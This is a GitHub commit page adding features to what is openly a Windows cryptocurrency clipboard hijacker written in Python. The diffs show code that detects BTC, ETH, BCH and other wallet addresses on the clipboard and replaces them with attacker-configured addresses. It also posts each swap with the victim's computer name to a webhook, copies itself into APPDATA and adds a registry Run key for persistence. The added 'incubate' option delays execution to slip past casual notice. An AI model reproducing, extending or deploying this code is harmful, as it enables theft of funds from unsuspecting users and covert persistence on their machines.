Skip to content

Commit

Permalink
added new methods
Browse files Browse the repository at this point in the history
  • Loading branch information
3022-2 committed Aug 4, 2024
1 parent c8b646c commit e423bec
Show file tree
Hide file tree
Showing 7 changed files with 1,661 additions and 68 deletions.
179 changes: 127 additions & 52 deletions main.pyw

Large diffs are not rendered by default.

430 changes: 430 additions & 0 deletions scripts/clipboard_method.pyw

Large diffs are not rendered by default.

75 changes: 70 additions & 5 deletions scripts/ctypes_method.pyw
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,10 @@ import sys
import re
import os

cwd = os.getcwd()

ignore = []

btcaddr = "SET BTC ADDRESS HERE"
ethaddr = "SET ETH ADDRESS HERE"
ltcaddr = "SET LTC ADDRESS HERE"
Expand All @@ -20,14 +24,16 @@ soladdr = "SET SOL ADDRESS HERE"
dogeaddr = "SET DOGE ADDRESS HERE"
xrpaddr = "SET XRP ADDRESS HERE"
trxaddr = "SET TRX ADDRESS HERE"
bchaddr = "SET BCH ADDRESS HERE"

CF_UNICODETEXT = 13
u32 = ctypes.WinDLL('user32')
k32 = ctypes.WinDLL('kernel32')

single_use = False

ping = False
incubate = False

webhook_url = ""

webhook_parts = webhook_url.replace("https://", "").split("/")
Expand All @@ -50,6 +56,7 @@ def is_crypto_addr(clipboard_text):
doge_address_pattern = r"^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$"
xrp_address_pattern = r"^r[0-9a-zA-Z]{24,34}$"
trx_address_pattern = r"^T[a-zA-Z0-9]{33}$"
bch_address_pattern = r"^(bitcoincash:)?(q|p)[a-z0-9]{41}$"

if re.match(btc_address_pattern, clipboard_text):
return "BTC"
Expand All @@ -67,6 +74,8 @@ def is_crypto_addr(clipboard_text):
return "XRP"
elif re.match(trx_address_pattern, clipboard_text):
return "TRX"
elif re.match(bch_address_pattern, clipboard_text):
return "BCH"
else:
return False
except Exception:
Expand Down Expand Up @@ -334,13 +343,42 @@ def main():

response = conn.getresponse()

response.read()
conn.close()
elif var == "BCH":
if bchaddr != "SET BCH ADDRESS HERE":
if clipboard_text != bchaddr:
subprocess.run(['powershell', '-command', f'Set-Clipboard -Value "{bchaddr}"'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
if webhook_url != "":
if ping:
message = {
"content": f"@everyone```\ndetected BCH address on {comp_name} - changed to {bchaddr}\n```"
}
else:
message = {
"content": f"```\ndetected BCH address on {comp_name} - changed to {bchaddr}\n```"
}

json_data = json.dumps(message)

conn = http.client.HTTPSConnection(host)
conn.request("POST", url_path, json_data, headers)

response = conn.getresponse()

response.read()
conn.close()
else:
pass
except Exception:
pass
time.sleep(0.15)
time.sleep(0.10)

def dupe_self():
try:
Expand Down Expand Up @@ -378,12 +416,38 @@ def check():
dupe_path = dupe_self()
if dupe_path:
add_reg(dupe_path)
main()
if incubate:
sys.exit()
else:
main()
else:
with open(os.path.join(folder_path, "storage.txt"), "r") as o:
ln1 = o.readline().strip('\n')
if ln1 != "True":
main()
if incubate:
if cwd == str(os.path.join(appdata_path, "CLPPTH")):
def check_incubate():
with open(os.path.join(cwd, "state.txt"), "r") as f:
ln1 = f.readline().strip('\n')
current_value = int(ln1)
if current_value != 2:
new_value = current_value + 1
with open(os.path.join(cwd, "state.txt"), "w") as f:
f.write(str(new_value))
sys.exit()
else:
main()

def start_incubate():
dir = os.listdir(cwd)
if "state.txt" not in dir:
with open(os.path.join(cwd, "state.txt"), "w") as f:
f.write("0")
sys.exit()
check_incubate()
start_incubate()
else:
main()
else:
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
Expand All @@ -398,6 +462,7 @@ def check():
if __name__ == "__main__":
try:
if os.name == "nt":
check()
if comp_name not in ignore:
check()
except Exception:
pass
75 changes: 69 additions & 6 deletions scripts/pyperclip_method.pyw
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
import http.client
import subprocess
import pyperclip
import socket
import winreg
Expand All @@ -10,6 +9,10 @@ import sys
import re
import os

cwd = os.getcwd()

ignore = []

btcaddr = "SET BTC ADDRESS HERE"
ethaddr = "SET ETH ADDRESS HERE"
ltcaddr = "SET LTC ADDRESS HERE"
Expand All @@ -18,10 +21,12 @@ soladdr = "SET SOL ADDRESS HERE"
dogeaddr = "SET DOGE ADDRESS HERE"
xrpaddr = "SET XRP ADDRESS HERE"
trxaddr = "SET TRX ADDRESS HERE"
bchaddr = "SET BCH ADDRESS HERE"

single_use = False

ping = False
incubate = False

webhook_url = ""

webhook_parts = webhook_url.replace("https://", "").split("/")
Expand All @@ -44,6 +49,7 @@ def is_crypto_addr(clipboard_text):
doge_address_pattern = r"^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$"
xrp_address_pattern = r"^r[0-9a-zA-Z]{24,34}$"
trx_address_pattern = r"^T[a-zA-Z0-9]{33}$"
bch_address_pattern = r"^(bitcoincash:)?(q|p)[a-z0-9]{41}$"

if re.match(btc_address_pattern, clipboard_text):
return "BTC"
Expand All @@ -61,6 +67,8 @@ def is_crypto_addr(clipboard_text):
return "XRP"
elif re.match(trx_address_pattern, clipboard_text):
return "TRX"
elif re.match(bch_address_pattern, clipboard_text):
return "BCH"
else:
return False
except Exception:
Expand Down Expand Up @@ -294,13 +302,41 @@ def main():

response = conn.getresponse()

response.read()
conn.close()
elif var == "BCH":
if bchaddr != "SET BCH ADDRESS HERE":
if clipboard_text != bchaddr:
pyperclip.copy(bchaddr)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
if webhook_url != "":
if ping:
message = {
"content": f"@everyone```\ndetected BCH address on {comp_name} - changed to {bchaddr}\n```"
}
else:
message = {
"content": f"```\ndetected BCH address on {comp_name} - changed to {bchaddr}\n```"
}

json_data = json.dumps(message)

conn = http.client.HTTPSConnection(host)
conn.request("POST", url_path, json_data, headers)

response = conn.getresponse()

response.read()
conn.close()
else:
pass
except Exception:
pass
time.sleep(0.15)
time.sleep(0.10)

def dupe_self():
try:
Expand Down Expand Up @@ -338,12 +374,38 @@ def check():
dupe_path = dupe_self()
if dupe_path:
add_reg(dupe_path)
main()
if incubate:
sys.exit()
else:
main()
else:
with open(os.path.join(folder_path, "storage.txt"), "r") as o:
ln1 = o.readline().strip('\n')
if ln1 != "True":
main()
if incubate:
if cwd == str(os.path.join(appdata_path, "CLPPTH")):
def check_incubate():
with open(os.path.join(cwd, "state.txt"), "r") as f:
ln1 = f.readline().strip('\n')
current_value = int(ln1)
if current_value != 2:
new_value = current_value + 1
with open(os.path.join(cwd, "state.txt"), "w") as f:
f.write(str(new_value))
sys.exit()
else:
main()

def start_incubate():
dir = os.listdir(cwd)
if "state.txt" not in dir:
with open(os.path.join(cwd, "state.txt"), "w") as f:
f.write("0")
sys.exit()
check_incubate()
start_incubate()
else:
main()
else:
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
Expand All @@ -358,6 +420,7 @@ def check():
if __name__ == "__main__":
try:
if os.name == "nt":
check()
if comp_name not in ignore:
check()
except Exception:
pass
Loading

0 comments on commit e423bec

Please sign in to comment.